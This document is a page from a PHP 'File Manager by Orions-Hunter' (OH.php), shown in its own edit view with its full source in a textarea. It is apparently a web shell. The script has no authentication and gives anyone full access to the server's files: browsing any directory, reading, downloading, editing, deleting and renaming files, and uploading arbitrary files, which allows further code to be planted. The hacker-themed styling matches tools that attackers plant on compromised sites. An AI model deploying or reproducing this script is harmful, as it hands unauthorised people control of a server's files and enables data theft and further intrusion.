File Manager by Orions-Hunter
Editing: OH.php
<?php $currentDir = realpath($_GET['dir'] ?? getcwd()); $action = $_GET['action'] ?? ''; $file = isset($_GET['file']) ? realpath($_GET['file']) : ''; if ($action === 'download' && $file && file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } if ($action === 'view' && $file && file_exists($file)) { echo "<body><h3>Viewing: " . htmlspecialchars($file) . "</h3>"; echo "<pre>" . htmlspecialchars(file_get_contents($file)) . "</pre>"; echo "<a href='?dir=" . urlencode(dirname($file)) . "'>Back</a></body>"; exit; } if ($action === 'edit' && $file && file_exists($file)) { if ($_SERVER['REQUEST_METHOD'] === 'POST') { file_put_contents($file, $_POST['content']); echo "<span style='color:lime;'>Saved successfully.</span><br><br>"; } echo '<!DOCTYPE html> <html> <head> <title>File Manager</title> <style> /* Hacker-style design starts here */ body { background: #000; color: #0f0; font-family: "Courier New", monospace; } h1 { color: #0f0; text-align: center; margin-top: 20px; font-size: 36px; text-shadow: 0 0 5px #0f0, 0 0 10px #0f0, 0 0 20px #0f0, 0 0 40px #0f0; animation: glow 1.5s ease-in-out infinite alternate; } @keyframes glow { from { text-shadow: 0 0 5px #0f0, 0 0 10px #0f0, 0 0 20px #0f0, 0 0 40px #0f0; } to { text-shadow: 0 0 10px #00ff00, 0 0 20px #00ff00, 0 0 30px #00ff00, 0 0 60px #00ff00; } } a { color: #0f0; text-decoration: none; transition: 0.3s; } a:hover { color: #0ff; text-shadow: 0 0 5px #0ff, 0 0 10px #0ff, 0 0 20px #0ff; } ul li::after { content: "_"; display: inline-block; margin-left: 2px; animation: blink 1s step-start infinite; } @keyframes blink { 50% { opacity: 0; } } body::before { content: ""; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: linear-gradient(transparent 90%, rgba(0,255,0,0.05) 90%); background-size: 100% 4px; animation: moveBG 2s linear infinite; z-index: 0; } body * { position: relative; z-index: 1; } /* Additional classes for file actions */ .green { color: #0f0; } .yellow { color: #ff0; } .red { color: #f00; } .blue { color: #0af; } /* Hacker-style design ends here */ textarea { width: 100%; height: 400px; background: #111; color: #0f0; border: 1px solid #0f0; padding: 10px; font-family: monospace; font-size: 14px; border-radius: 4px; } button { background: #000; color: #0f0; border: 1px solid #0f0; padding: 8px 16px; cursor: pointer; margin-top: 10px; } </style> </head> <body> <h1>File Manager by Orions-Hunter</h1>'; echo "<h2>Editing: " . htmlspecialchars(basename($file)) . "</h2>"; echo "<form method='post'> <textarea name='content'>" . htmlspecialchars(file_get_contents($file)) . "</textarea><br> <button type='submit'>💾 Save</button> </form>"; echo "<a href='?dir=" . urlencode(dirname($file)) . "'>← Back to Dir</a>"; echo "</body></html>"; exit; } if ($action === 'delete' && $file && file_exists($file)) { unlink($file); header("Location: ?dir=" . urlencode(dirname($file))); exit; } if ($action === 'rename' && $file && file_exists($file)) { $dir = dirname($file); $oldName = basename($file); if ($_SERVER['REQUEST_METHOD'] === 'POST') { $newName = basename($_POST['new_name']); $newPath = $dir . DIRECTORY_SEPARATOR . $newName; if (!preg_match('/^[\w\-. ]+$/', $newName)) { echo "<span style='color:red;'>Invalid filename.</span>"; } elseif (file_exists($newPath)) { echo "<span style='color:red;'>A file with that name already exists.</span>"; } elseif (rename($file, $newPath)) { echo "<span style='color:green;'>File renamed successfully.</span><br>"; echo "<a href='?dir=" . urlencode($dir) . "'>Back</a>"; exit; } else { echo "<span style='color:red;'>Rename failed.</span><br>"; } } echo "<body style='background:#000;color:#0f0;font-family:monospace;'>"; echo "<h3>Renaming: " . htmlspecialchars($oldName) . "</h3> <form method='post'> New name: <input type='text' name='new_name' value='" . htmlspecialchars($oldName) . "'><br><br> <button type='submit'>Rename</button> </form> <a href='?dir=" . urlencode($dir) . "'>Cancel</a></body>"; exit; } if (!empty($_FILES['upload'])) { $target = $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']); if (move_uploaded_file($_FILES['upload']['tmp_name'], $target)) { echo "<span style='color:green;'>Uploaded successfully.</span><br>"; } else { echo "<span style='color:red;'>Upload failed.</span><br>"; } } echo "<!DOCTYPE html><html><head><title>File Manager</title> <style> body { background: #000; color: #0f0; font-family: monospace; } a { text-decoration: none; } .green { color: #0f0; } .yellow { color: #ff0; } .red { color: #f00; } .blue { color: #0af; } li a:hover { text-decoration: underline; } ul li::after { content: '_'; animation: blink 1s step-start infinite; } @keyframes blink { 50% { opacity: 0; } } </style></head><body>"; echo "<h1>File Manager by Orions-Hunter</h1>"; echo "<h2>Dir of " . htmlspecialchars($currentDir) . "</h2>"; echo "<form method='post' enctype='multipart/form-data'> <input type='file' name='upload'> <button type='submit'>Upload</button> </form><br>"; echo "<ul>"; $parent = dirname($currentDir); if ($parent && $parent !== $currentDir) { echo "<li><a href='?dir=" . urlencode($parent) . "'>Parent Directory</a></li>"; } foreach (scandir($currentDir) as $item) { if ($item === '.' || $item === '..') continue; $fullPath = $currentDir . DIRECTORY_SEPARATOR . $item; $encoded = urlencode($fullPath); if (is_file($fullPath)) { echo "<li title='" . htmlspecialchars($item) . "'>" . htmlspecialchars($item); echo " | <a href='?action=rename&file=$encoded' class='green'>Rename</a>"; echo " | <a href='?action=edit&file=$encoded' class='yellow'>Edit</a>"; echo " | <a href='?action=delete&file=$encoded' class='red' onclick='return confirm(\"Delete this file?\");'>Delete</a>"; echo " | <a href='?action=download&file=$encoded' class='blue'>Download</a></li>"; } else { echo "<li><a href='?dir=$encoded' title='" . htmlspecialchars($item) . "'>" . htmlspecialchars($item) . "/</a></li>"; } } echo "</ul>"; echo "</body></html>"; ?>
💾 Save
← Back to Dir